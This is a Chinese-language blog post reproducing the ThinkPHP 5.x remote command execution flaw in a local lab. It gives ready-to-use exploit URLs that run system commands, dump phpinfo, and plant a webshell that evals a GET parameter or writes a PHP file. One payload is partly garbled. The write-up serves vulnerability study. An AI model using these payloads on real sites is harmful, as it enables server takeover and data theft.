1. 程式人生 > >ThinkPHP 遠端命令執行漏洞復現(GetShell)

ThinkPHP 遠端命令執行漏洞復現(GetShell)

漏洞概況

ThinkPHP是一款國內流行的開源PHP框架,近日被爆出存在可能的遠端程式碼執行漏洞,攻擊者可向快取檔案內寫入PHP程式碼,導致遠端程式碼執行。雖然該漏洞利用需要有幾個前提條件,但鑑於國內使用ThinkPHP框架的站點數量之多,該漏洞還是存在一定的影響範圍。由於框架對控制器名沒有進行足夠的檢測會導致在沒有開啟強制路由的情況下可能的getshell漏洞。

漏洞危害

攻擊者可通過該漏洞獲取網站的控制權限,可修改頁面,導致資料洩漏等問題。

影響版本

5.x < 5.1.31, <= 5.0.23

復現環境

thinkphp5.1   phpstudy整合環境(php5.6n+apache+mysql)

復現過程

1、如圖所示首先搭建好環境

2、利用system函式遠端命令執行:

http://localhost/thinkphp5.1/html/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=whoami

3、通過phpinfo函式寫出phpinfo()的資訊:

http://localhost/thinkphp5.1/html/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1

4、寫入shell:

http://localhost/thinkphp5.1/html/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%[email protected]($_GET[%22code%22])?^%3E%3Eshell.php

或http://localhost/thinkphp5.1/html/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>